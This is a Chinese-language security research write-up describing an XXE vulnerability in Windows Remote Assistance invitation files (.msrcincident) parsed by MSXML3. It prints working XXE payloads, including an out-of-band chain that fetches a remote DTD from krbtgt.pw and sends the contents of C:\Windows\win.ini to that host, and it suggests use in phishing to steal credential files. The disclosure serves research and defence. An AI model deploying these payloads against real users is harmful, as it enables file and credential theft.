导语:作者介绍了Windows远程协助XXE漏洞存在的原因、发现的过程,最后还提供了自动化利用工具。

一、介绍

Windows远程协助允许您信任的人接管您的电脑并解决世界各地的问题。它依靠远程桌面协议与需要的人建立安全连接。——MSDN

二、背景

我在研究过程中偶然发现了这个功能,并且很好奇能否以任何方式利用此功能。所以让我们从开始MSRA(微软远程协助)开始。

01.png

它给出两个选项:

·邀请别人帮助你

·响应别人的邀请 

02.png

如果选择了第一个选项,则将得到后续的另一组2个选项:

·将邀请保存到.msrcincident文件

·通过电子邮件发送邀请,.mrcincident文件作为附件

我们选择在本地保存文件并分析其内容,显然我们选择了第一个选项。

03.png

打开Invitation.msrcincident文件可以显示具有大量参数和值的XML数据。

04.png

口令加密流程如下所示。 

05.png

然而,当看到XML数据被提供给程序时,都必须考虑XML外部实体(XXE)漏洞,过去这些漏洞导致了信息泄露甚至RCE。

所以首先我很好奇用于处理邀请文件的解析器MSRA。ProcessMonitor显示如下:

它使用MSXML3来解析XML数据,因此我立即开始寻找潜在的与MSXML3相关的现有漏洞。MSXML3拥有许多漏洞,但是没有发布任何关于这些漏洞的细节。那么来看看MSXML3解析器是否允许使用SYSTEM实体。

06.png

三、漏洞

第一个问题是如果没有显示所请求资源的输出,如何确认存在XXE漏洞。基本的XXE payload看起来像这样:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
      <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>

然而,这个XML(解析后)的结果应该是<foo>标签中的内容,应该显示文件passwd的内容。

MSRA不会显示处理过的XML的输出,因此很难验证。但为了能将这种攻击武器化,需要将受害者请求的数据传到我的机器上。因此,需要使用由研究人员Alexey Osipov和Timur Yunusov发现的称为带外数据检索的技术,该技术允许构建带有来自其他实体的数据的URL。

看起来像这样:

07.png

利用相同的技术,用以下XML修改了Invitation.msrcincident文件:

<?xml version="1.0" encoding="UTF-8" ?>
   <!DOCTYPE zsl [
   <!ENTITY % remote SYSTEM "http://krbtgt.pw:8080/xxe.xml">
   %remote;%root;%oob;]>

在服务器上,使用以下XML创建一个文件xxe.xml:

<!ENTITY % payload SYSTEM "file:///C:/windows/win.ini">
   <!ENTITY % root "<!ENTITY % oob SYSTEM 'http://krbtgt.pw:8080/?%payload;'> ">

使用我们的XML XXE payload,打开修改后的Invitation.msrcincident文件,结果如下:

08.png

结果是C:\Windows\win.ini的内容作为GET请求的一部分发送到服务器。如果URL解码发送至服务器的GET值,得到如下结果:

 for 16-bit app support[fonts][extensions][mci extensions][files][Mail]MAPI=1CMCDLLNAME32=mapi32.dllCMC=1MAPIX=1MAPIXVER=1.0.0.1OLEMessaging=1

我使用MSXML3解析器确认了影响MSRA的XXE漏洞。

四、结论

这种XXE漏洞可以用于大规模网络钓鱼攻击,针对的人认为他们确实在帮助另一个有IT问题的人,完全不知道.msrcincident文件可能会导致敏感信息丢失。攻击者可针对包含用户名/密码的特定日志/配置文件。GDSSecurity还通过暴力穷尽某些目录,实现了自动化XXE工具。该工具可以在这里找到。

源链接

Hacking more

...